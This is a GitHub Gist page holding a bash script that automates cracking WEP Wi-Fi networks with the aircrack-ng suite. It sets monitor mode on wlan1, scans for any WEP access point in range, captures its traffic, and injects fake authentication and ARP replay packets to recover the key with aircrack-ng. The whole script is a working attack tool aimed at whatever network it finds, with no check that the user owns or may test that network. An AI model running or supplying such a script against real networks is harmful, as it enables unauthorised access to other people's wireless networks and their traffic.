Created
October 12, 2018 12:00
-
-
Save postworthy/980bf433d4b448ef0ebb5a64152fbdfa to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Setting Monitor Mode on wlan1" | |
airmon-ng start wlan1 | |
echo "Finding WEP APs" | |
cd ~/caps | |
airodump-ng wlan1mon 2>&1 | grep "WEP" | while read line; do lsplit=(${line// / }); echo "${lsplit[0]} ${lsplit[5]} ${lsplit[${#array[@]}-1]}"; done | | |
while read line; | |
do lsplit=(${line// / }); | |
pkill airodump-ng; | |
airdump="screen -dmS dump airodump-ng --bssid ${lsplit[0]} --channel ${lsplit[1]} -w out wlan1mon"; | |
airplay1="aireplay-ng -1 0 -a ${lsplit[0]} wlan1mon"; | |
airplay2="screen -dmS play aireplay-ng -3 -b ${lsplit[0]} wlan1mon"; | |
aircrack="aircrack-ng -b ${lsplit[0]} out*.cap"; | |
eval "rm ~/caps/out*"; | |
echo "Starting airodump-ng for ${lsplit[0]}" | |
eval $airdump; | |
dumpkill=$! | |
sleep 5; | |
echo "Starting aireplay-ng for ${lsplit[0]}" | |
eval $airplay1; | |
sleep 5; | |
eval $airplay2; | |
playkill=$! | |
sleep 10; | |
echo "Starting aircrack-ng for ${lsplit[2]} ${lsplit[0]}" | |
eval $aircrack; | |
break | |
done | |
screen -S dump -X quit | |
screen -S play -X quit | |
read -n1 -r -p "Press any key to continue..." key | |
#airodump-ng wlan1mon 2>&1 | grep "WEP" | while read line; do lsplit=(${line// / }); echo "${lsplit[0]} ${lsplit[5]}"; done | uniq | |
#airodump-ng wlan1mon 2>&1 | grep "WEP" | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' | uniq |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment